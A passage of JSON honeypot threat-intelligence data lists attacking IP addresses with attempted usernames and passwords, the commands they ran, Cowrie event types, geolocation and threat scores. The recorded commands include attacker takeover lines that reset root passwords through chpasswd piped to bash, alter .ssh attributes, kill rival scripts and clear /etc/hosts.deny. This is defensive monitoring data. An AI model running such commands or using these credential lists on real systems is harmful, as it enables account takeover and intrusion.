      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123.asd",
        "12345670",
        "123qwe-=",
        "505050",
        "@Hc123456",
        "ABC12345678",
        "Admin654321",
        "Mj123456",
        "Monster",
        "Password001",
        "Qwert123!@#",
        "Share1234",
        "Ws123456@",
        "Yw123456",
        "aaaaa123",
        "bebeto",
        "projects",
        "semangat45"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:aDXwcGM08pZ1\"|chpasswd|bash",
        "echo \"root:g5m4RtQtVQ1u\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Spain",
      "country_code": "ES",
      "city": "Madrid",
      "asn": 6739,
      "as_org": "Vodafone Ono, S.A.",
      "threat_score": 3.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 296,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-02T02:19:03.638000+00:00",
        "last_seen_30d": "2026-04-02T03:23:15.990000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 236,
        "Suricata": 60
      }
    },
    "43.157.151.226": {
      "attack_count": 219,
      "first_seen": "2026-04-29T11:29:16.091Z",
      "last_seen": "2026-04-29T12:11:10.344Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "ubuntu",
        "admin",
        "deployer",
        "minecraft",
        "user",
        "345gs5662d34",
        "ali",
        "bitrix",
        "bwadmin",
        "esadmin",
        "ftpuser",
        "git",
        "ldapuser",
        "mailtest",
        "nisuser",
        "oracle",
        "reza",
        "root",
        "test",
        "user1"
      ],
      "passwords_attempted": [
        "12345",
        "123456ddd",
        "1234qwer",
        "1qaz3edc",
        "3245gs5662d34",
        "345gs5662d34",
        "3bb",
        "Aa123456",
        "P@55wOrd",
        "P@ssW0rd",
        "Passw0rd",
        "Welcome",
        "Zxc12345",
        "bukkit",
        "danihack000",
        "esadmin123",
        "ftp1234",
        "gituser123",
        "ldapuser",
        "letmein"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"q1w2e3r4\\nDqWKbTQkaOhV\\nDqWKbTQkaOhV\\n\"|passwd",
        "echo -e \"q1w2e3r4\\nDqWKbTQkaOhV\\nDqWKbTQkaOhV\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "S\u00e3o Paulo",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 36.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 290,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-29T11:29:16.091000+00:00",
        "last_seen_30d": "2026-04-29T12:12:12.328000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 219,
        "Suricata": 71
      }
    },
    "189.206.155.253": {
      "attack_count": 204,
      "first_seen": "2026-04-24T18:24:13.345Z",
      "last_seen": "2026-04-24T18:55:33.825Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root",
        "markus",
        "ubuntu",
        "345gs5662d34",
        "admin",
        "alex",
        "dev",
        "frappe",
        "ftpuser",
        "jenny1",
        "mika",
        "n8n",
        "oracle",
        "robin",
        "rstudio",
        "sammy",
        "seekcy",
        "server",
        "sysadmin",
        "testftp1"
      ],
      "passwords_attempted": [
        "123456",
        "123",
        "3245gs5662d34",
        "345gs5662d34",
        "696969",
        "999999",
        "Cb123456.",
        "Frappe08!",
        "Joysuch@Locate2020",
        "N8n4",
        "Oracle08!",
        "Qwert54321",
        "Sammy6",
        "Xp123456",
        "admin1234",
        "admin2025!",
        "anonymous",
        "as123456",
        "dev05!",
        "ftpuser28!"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"markus\\nUo4qKXLAprJt\\nUo4qKXLAprJt\\n\"|passwd",
        "echo -e \"markus\\nUo4qKXLAprJt\\nUo4qKXLAprJt\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": null,
      "asn": 11172,
      "as_org": "Alestra, S. de R.L. de C.V.",
      "threat_score": 29.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 269,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-24T18:24:13.345000+00:00",
        "last_seen_30d": "2026-04-24T18:56:39.749000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 204,
        "Suricata": 65
      }
    },
    "152.228.131.33": {
      "attack_count": 198,
      "first_seen": "2026-04-23T11:02:25.456Z",
      "last_seen": "2026-04-23T12:05:04.710Z",
      "sessions": 28,
      "ports": [],
      "usernames_attempted": [
        "root",
        "steam",
        "user",
        "345gs5662d34",
        "admin",
        "admin1234",
        "bbuser",
        "frappe",
        "git",
        "mark",
        "mehdi",
        "neko",
        "odoo",
        "postgres",
        "root/123456",
        "sammy",
        "weblogic",
        "wireguard"
      ],
      "passwords_attempted": [
        "123456",
        "12345678@Abc",
        "1234qwer",
        "123@123Aa",
        "1q2w3e",
        "233",
        "3245gs5662d34",
        "345gs5662d34",
        "Admin@321",
        "CCdd112233",
        "Minijer.com",
        "Sammy26",
        "Steam10!",
        "abc123!",
        "admin",
        "admin1234",
        "bbuser",
        "frappe8",
        "mehdi1234",
        "neko"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:iJ5GRMQKUHXx\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "France",
      "country_code": "FR",
      "city": null,
      "asn": 16276,
      "as_org": "OVH SAS",
      "threat_score": 28.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 260,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-23T11:02:25.456000+00:00",
        "last_seen_30d": "2026-04-23T12:06:10.964000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 198,
        "Suricata": 62
      }
    },
    "8.209.251.245": {
      "attack_count": 194,
      "first_seen": "2026-04-04T18:11:25.470Z",
      "last_seen": "2026-04-04T19:19:59.860Z",
      "sessions": 27,
      "ports": [],
      "usernames_attempted": [
        "root",
        "user",
        "ubuntu",
        "345gs5662d34",
        "deploy",
        "frappe",
        "git",
        "mailtest",
        "minecraft1",
        "ozzy",
        "postgres",
        "steam",
        "test",
        "teste",
        "vpn"
      ],
      "passwords_attempted": [
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "@dm1n",
        "A123456789b",
        "AAxx111",
        "P@ssw0rd@123",
        "Root888@#",
        "Ubuntu08",
        "User2026!@#",
        "Zh123456.",
        "Zxcv123123",
        "abc12345678",
        "as123456.",
        "frappe05",
        "frappefrappefrappe",
        "gitosis",
        "minecraft1",
        "ozzy",
        "postgres07!"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"P@ssw0rd@123\\ns2A6vdtOa3Cv\\ns2A6vdtOa3Cv\\n\"|passwd",
        "echo -e \"P@ssw0rd@123\\ns2A6vdtOa3Cv\\ns2A6vdtOa3Cv\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": "Tokyo",
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 4.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 265,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-04T18:11:25.470000+00:00",
        "last_seen_30d": "2026-04-04T19:21:06.705000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 194,
        "Suricata": 71
      }
    },
    "91.212.45.215": {
      "attack_count": 194,
      "first_seen": "2026-04-05T19:23:50.086Z",
      "last_seen": "2026-04-05T20:11:53.979Z",
      "sessions": 27,
      "ports": [],
      "usernames_attempted": [
        "root",
        "stuser",
        "ubuntu",
        "345gs5662d34",
        "ali",
        "boom",
        "bot",
        "minecraft",
        "nino",
        "rasel",
        "rene",
        "server",
        "steam"
      ],
      "passwords_attempted": [
        "123456",
        "12345678a",
        "123456a??",
        "1234qwerty",
        "1q2w3e4r.",
        "3245gs5662d34",
        "345gs5662d34",
        "A1q2w3e4r",
        "Admin123456@#",
        "Bot03!",
        "Root999!@#",
        "Server07!",
        "Steam30!",
        "a123456798",
        "ali16",
        "apple123",
        "minecraft123",
        "nino",
        "qwer12345!",
        "qwert123$"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"stuser\\n7rk1wow7CGa3\\n7rk1wow7CGa3\\n\"|passwd",
        "echo -e \"stuser\\n7rk1wow7CGa3\\n7rk1wow7CGa3\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 212477,
      "as_org": "RoyaleHosting BV",
      "threat_score": 6.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 258,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-05T19:23:50.086000+00:00",
        "last_seen_30d": "2026-04-05T20:12:57.474000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 194,
        "Suricata": 64
      }
    },
    "103.146.23.145": {
      "attack_count": 193,
      "first_seen": "2026-04-15T16:00:01.421Z",
      "last_seen": "2026-04-15T16:46:25.417Z",
      "sessions": 27,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "deploy",
        "345gs5662d34",
        "admin",
        "beehive",
        "dev",
        "ftp",
        "git",
        "odoo",
        "steam",
        "support",
        "test"
      ],
      "passwords_attempted": [
        "$upp0rt",
        "1111",
        "1234",
        "123@asdf",
        "1Qaz2Wsx3Edc",
        "1qaz@WSX",
        "3245gs5662d34",
        "345gs5662d34",
        "A123456",
        "A123456F",
        "ABCabc123",
        "Aa147258@",
        "Aa@12345678",
        "Demo@123",
        "Ks123456",
        "Qazwsx654321..",
        "Root666@",
        "admin11",
        "bbZZ123123",
        "beehive"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:j1OAkAmsQY8v\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 131366,
      "as_org": "Lanit Technology and Communication Joint Stock Company",
      "threat_score": 18.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 256,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-15T16:00:01.421000+00:00",
        "last_seen_30d": "2026-04-15T16:47:29.402000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 193,
        "Suricata": 63
      }
    },
    "103.195.239.8": {
      "attack_count": 193,
      "first_seen": "2026-04-21T02:18:35.166Z",
      "last_seen": "2026-04-21T03:02:58.714Z",
      "sessions": 27,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "alumno",
        "appuser",
        "chromeuser",
        "deploy",
        "developer",
        "john",
        "peertube",
        "postgres",
        "pujie",
        "tiptop",
        "ubuntu",
        "user",
        "user123"
      ],
      "passwords_attempted": [
        "1234",
        "12345",
        "12345678",
        "12QWER",
        "3245gs5662d34",
        "345gs5662d34",
        "A@123456",
        "Aa@147258369",
        "Abcd=1234",
        "Root1$",
        "abc@123456",
        "abc@2026",
        "admin1234",
        "alumno",
        "appuser",
        "developer@2026",
        "frappe0",
        "opengate",
        "peertube",
        "penis"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:IzWXTopjeoyO\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 151858,
      "as_org": "INTERDIGI JOINT STOCK COMPANY",
      "threat_score": 25.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 256,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-21T02:18:35.166000+00:00",
        "last_seen_30d": "2026-04-21T03:04:00.345000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 193,
        "Suricata": 63
      }
    },
    "41.82.64.42": {
      "attack_count": 185,
      "first_seen": "2026-04-07T12:31:48.742Z",
      "last_seen": "2026-04-07T14:15:08.486Z",
      "sessions": 28,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "bot",
        "ma",
        "olivier",
        "sysadmin",
        "test",
        "vncuser1",
        "webuser",
        "zhaoxj"
      ],
      "passwords_attempted": [
        "02026025Ionela",
        "123123",
        "123456",
        "3245gs5662d34",
        "Aa123456*",
        "Qazwsx11111$",
        "QwertQwert12",
        "Root000@@",
        "Root2019#",
        "Wa123456",
        "admin888.",
        "bot10",
        "olivier",
        "qwe.123qwe",
        "qwer1234",
        "root02",
        "root123",
        "root123123#$",
        "root2022..",
        "test20"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:P2ETr0xWTZ6r\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Senegal",
      "country_code": "SN",
      "city": "Dakar",
      "asn": 8346,
      "as_org": "SONATEL SONATEL-AS Autonomous System",
      "threat_score": 8.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 272,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-07T12:31:48.742000+00:00",
        "last_seen_30d": "2026-04-07T14:16:15.907000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 185,
        "Suricata": 87
      }
    },
    "101.51.110.214": {
      "attack_count": 183,
      "first_seen": "2026-04-25T12:57:56.346Z",
      "last_seen": "2026-04-25T13:40:34.264Z",
      "sessions": 13,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "dev",
        "aa",
        "claude",
        "info",
        "teamspeak",
        "testuser"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12345",
        "123456",
        "Aa112211.",
        "Abcd12345678@",
        "Dev0",
        "QWERTY.",
        "Teamspeak29!",
        "admin0@@",
        "qweasdzxc"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"123456\\n0VO9XAbcYQ5M\\n0VO9XAbcYQ5M\\n\"|passwd",
        "echo \"Dev0\\nvXAlip8H3Hqr\\nvXAlip8H3Hqr\\n\"|passwd",
        "echo -e \"123456\\n0VO9XAbcYQ5M\\n0VO9XAbcYQ5M\"|passwd|bash",
        "echo -e \"Dev0\\nvXAlip8H3Hqr\\nvXAlip8H3Hqr\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Thailand",
      "country_code": "TH",
      "city": "Bangkok",
      "asn": 23969,
      "as_org": "TOT Public Company Limited",
      "threat_score": 30.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 214,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-25T12:57:56.346000+00:00",
        "last_seen_30d": "2026-04-25T13:41:39.433000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 183,
        "Suricata": 31
      }
    },
    "20.123.146.93": {
      "attack_count": 172,
      "first_seen": "2026-04-04T07:38:11.020Z",
      "last_seen": "2026-04-29T10:43:45.467Z",
      "sessions": 11,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "server",
        "ali",
        "jordan",
        "root",
        "test",
        "testowy",
        "vpn"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "1234567890",
        "jordan",
        "root9999!!",
        "testpassword"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"1234567890\\nfsYdvn9pn6xO\\nfsYdvn9pn6xO\\n\"|passwd",
        "echo \"root:X5IOXc3gvtvp\"|chpasswd|bash",
        "echo -e \"1234567890\\nfsYdvn9pn6xO\\nfsYdvn9pn6xO\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 54.8,
      "threat_level": "medium",
      "score_components": {
        "frequency": 23.0,
        "persistence": 21.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 201,
        "days_active_30d": 26,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-04T07:38:11.020000+00:00",
        "last_seen_30d": "2026-04-29T10:44:54.426000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 172,
        "Suricata": 29
      }
    },
    "101.100.242.72": {
      "attack_count": 168,
      "first_seen": "2026-04-26T22:22:36.766Z",
      "last_seen": "2026-04-26T22:46:11.202Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "#include",
        "123456789987654321",
        "12345678h",
        "123456Dr",
        "123lol123",
        "12root",
        "3245gs5662d34",
        "345gs5662d34",
        "Info@123",
        "QWErty12345",
        "Qweqwe123.",
        "Zz@123123",
        "alex2026",
        "linux@2024",
        "milan123",
        "qazwsx321",
        "qweasd2025",
        "root54321",
        "sesamo",
        "t3st1ng"
      ],
      "commands_executed": [
